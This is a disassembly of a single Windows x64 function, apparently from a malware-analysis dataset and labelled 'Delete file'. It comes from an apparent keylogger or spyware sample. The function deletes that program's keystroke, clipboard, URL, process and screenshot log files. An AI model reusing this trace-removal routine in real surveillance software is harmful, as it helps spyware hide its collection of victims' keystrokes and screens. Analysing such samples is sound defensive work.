Function at 0x42c6a0
Capabilities:
Delete file

Disassembly:
mov rax, rsp
sub rsp, 0x4b8
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x20], rbx
mov qword [rax - 8], rsi
mov qword [rax - 0x10], rdi
mov rax, qword [0x005c3458]
mov qword [rsp + 0x490], rax
mov rsi, rcx
mov r9, r8
mov r8, rdx
lea rdx, [rsp + 0x28]
call fcn.0042b5f0
nop
lea r8, str.keys.log
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x90]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
mov r8, qword [str.url.txt]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0xb0]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
mov r8, qword [str.process.txt]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0xd0]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
mov r8, qword [str.clipboard.txt]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0xf0]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
lea r8, str.keystroke.htm
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x110]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
lea rbx, [rsp + 0x98]
mov edi, 5
nop
nop
nop
nop
mov rcx, qword [rbx]
test rcx, rcx
cmove rcx, qword [sym.imp.msvcp60.dll_char_const__private:_static_char_const____ptr64___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
xor edx, edx
call qword [sym.imp.msvcrt.dll__access]
test eax, eax
jne 0x42c7ae
mov rcx, qword [rbx]
test rcx, rcx
cmove rcx, qword [sym.imp.msvcp60.dll_char_const__private:_static_char_const____ptr64___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
add rbx, 0x20
dec rdi
jne 0x42c780
mov r8, qword [str.screenshot_]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
lea r8, [0x0055cc38]
mov rdx, rax
lea rcx, [rsp + 0x130]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
mov r9d, reloc.SHLWAPI.dll_IUnknown_QueryService
mov r8b, 1
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.00409890
nop
lea rcx, [rsp + 0x50]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
mov byte [rsp + 0x2f5], 1
xor eax, eax
mov qword [rsp + 0x2f8], rax
mov dword [rsp + 0x300], eax
mov byte [rsp + 0x21], al
lea rdx, [rsp + 0x21]
lea rcx, [rsp + 0x448]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const____ptr64____ptr64]
nop
xor eax, eax
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x468]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const____ptr64____ptr64]
nop
movzx eax, byte [rsp + 0x2f5]
cmp byte [rsp + 0x155], al
je 0x42c98c
nop
nop
lea rdx, [0x00559b8c]
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.msvcp60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_]
test al, al
jne 0x42c8da
lea rdx, [0x00559b88]
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.msvcp60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_]
test al, al
jne 0x42c8da
mov rcx, qword [rsp + 0x2d0]
test rcx, rcx
cmove rcx, qword [sym.imp.msvcp60.dll_char_const__private:_static_char_const____ptr64___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
xor edx, edx
call qword [sym.imp.msvcrt.dll__access]
test eax, eax
jne 0x42c8da
mov rcx, qword [rsp + 0x2d0]
test rcx, rcx
cmove rcx, qword [sym.imp.msvcp60.dll_char_const__private:_static_char_const____ptr64___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, [rsp + 0x168]
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x42c96f
mov eax, dword [rsp + 0x168]
test dword [rsp + 0x150], eax
je 0x42c960
cmp byte [rsp + 0x154], 0
je 0x42c948
lea r8, [rsp + 0x194]
lea rdx, [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
lea rcx, [rsp + 0x70]
call sub.msvcp60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__char_const____ptr64_
nop
mov rdx, rax
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.msvcp60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______ptr64___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
jmp 0x42c977
lea rdx, [rsp + 0x194]
lea rcx, [rsp + 0x2c8]
call qword [reloc.msvcp60.dll___4__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__QEAAAEAV01_PEBD_Z]
jmp 0x42c977
lea rcx, [rsp + 0x150]
call fcn.00407910
jmp 0x42c977
mov byte [rsp + 0x155], 1
movzx eax, byte [rsp + 0x2f5]
cmp byte [rsp + 0x155], al
jne 0x42c870
add dword [rsp + 0x300], 0xffffffff
jne 0x42c9a9
mov rcx, qword [rsp + 0x2f8]
test rcx, rcx
je 0x42c9a9
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x468]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x448]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
add dword [rsp + 0x160], 0xffffffff
jne 0x42c9e4
mov rcx, qword [rsp + 0x158]
test rcx, rcx
je 0x42c9e4
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
nop
mov r9, qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rsp + 0x90]
call fcn.00447b10
nop
lea rcx, [rsp + 0x28]
call qword [sym.imp.msvcp60.dll_public:_void___cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void____ptr64]
mov rax, rsi
mov rcx, qword [rsp + 0x490]
call fcn.005555b0
mov rbx, qword [rsp + 0x4d8]
mov rsi, qword [rsp + 0x4b0]
mov rdi, qword [rsp + 0x4a8]
add rsp, 0x4b8
ret